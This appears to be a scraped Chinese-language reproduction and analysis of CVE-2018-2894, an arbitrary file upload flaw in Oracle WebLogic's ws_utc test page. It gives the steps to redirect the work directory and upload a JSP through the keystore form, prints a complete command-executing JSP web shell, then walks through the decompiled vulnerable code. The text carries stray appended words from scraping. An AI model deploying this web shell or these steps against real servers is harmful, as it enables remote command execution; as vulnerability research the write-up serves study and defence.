WebLogic任意文件上傳漏洞復現與分析 -【CVE-2018-2894 】

時間 2019-12-08

標籤 weblogic 任意文件上傳漏洞復現分析 CVE-2018-2894 简体版

原文原文鏈接

CVE-2018-2894

漏洞影響版本：10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3java

下載地址：http://download.oracle.com/otn/nt/middleware/12c/12213/fmw_12.2.1.3.0_wls_quick_Disk1_1of1.zipweb

漏洞復現

服務啓動後，訪問 http://localhost:7001/ws_utc/config.dojson

能夠將當前的工做目錄爲更改成其餘目錄。以本地環境爲例，能夠部署到C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls\4mcj4y\war下安全

選擇右邊的安全欄目，添加JKS Keystores上傳文件。假設chybeta.jsp內容以下：oracle

<%@ page import="java.util.*,java.io.*,java.net.*"%> <HTML><BODY> <FORM METHOD="POST" NAME="myform" ACTION=""> <INPUT TYPE="text" NAME="cmd"> <INPUT TYPE="submit" VALUE="Send"> </FORM> <pre> <% if (request.getParameter("cmd") != null) { out.println("Command: " + request.getParameter("cmd") + "\n<BR>"); Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> </pre> </BODY></HTML>

抓包獲取到時間戳爲1531987145013，則上傳到的位置即config\keystore\1531987145013_chybeta.jspapp

訪問http://localhost:7001/ws_utc/config/keystore/1531987145013_chybeta.jspdom

簡要漏洞分析

在ws-testpage-impl.jar!/com/oracle/webservices/testclient/setting/TestClientWorkDirManager.class:59:jsp

public void changeWorkDir(String path) { String[] oldPaths = this.getRelatedPaths(); if (this.testPageProvider.getWsImplType() == ImplType.JRF) { this.isWorkDirChangeable = false; this.isWorkDirWritable = isDirWritable(path); this.isWorkDirChangeable = true; this.setTestClientWorkDir(path); } else { this.persistWorkDir(path); this.init(); } if (this.isWorkDirWritable) { String[] newPaths = this.getRelatedPaths(); moveDirs(oldPaths, newPaths); } else { Logger.fine("[INFO] Newly specified TestClient Working Dir is readonly. Won't move the configuration stuff to new path."); } }

此函數用於改變工做目錄，但其中並未作任何檢測。ide

在ws-testpage-impl.jar!/com/oracle/webservices/testclient/ws/res/SettingResource.class:181中：函數

@Path("/keystore") @POST @Produces({"application/xml", "application/json"}) @Consumes({"multipart/form-data"}) public Response editKeyStoreSettingByMultiPart(FormDataMultiPart formPartParams) { if (!RequestUtil.isRequstedByAdmin(this.request)) { return Response.status(Status.FORBIDDEN).build(); } else { if (TestClientRT.isVerbose()) { Logger.fine("calling SettingResource.addKeyStoreSettingByMultiPart"); } String currentTimeValue = "" + (new Date()).getTime(); KeyValuesMap<String, String> formParams = RSDataHelper.getInstance().convertFormDataMultiPart(formPartParams, true, TestClientRT.getKeyStorePath(), currentTimeValue); .... } }

跟入ws-testpage-impl.jar!/com/oracle/webservices/testclient/core/ws/cdf/config/parameter/TestClientRT.class:31

public static String getKeyStorePath() { return getConfigDir() + File.separator + "keystore"; }

獲得要寫入的路徑storePath。

在ws-testpage-impl.jar!/com/oracle/webservices/testclient/ws/util/RSDataHelper.class:145:

public KeyValuesMap<String, String> convertFormDataMultiPart(FormDataMultiPart formPartParams, boolean isExtactAttachment, String path, String fileNamePrefix) { ... if (attachName != null && attachName.trim().length() > 0) { if (attachName != null && attachName.trim().length() != 0) { attachName = this.refactorAttachName(attachName); if (fileNamePrefix == null) { fileNamePrefix = key; } String filename = (new File(storePath, fileNamePrefix + "_" + attachName)).getAbsolutePath(); kvMap.addValue(key, filename); if (isExtactAttachment) { this.saveAttachedFile(filename, (InputStream)bodyPart.getValueAs(InputStream.class)); } } } ... }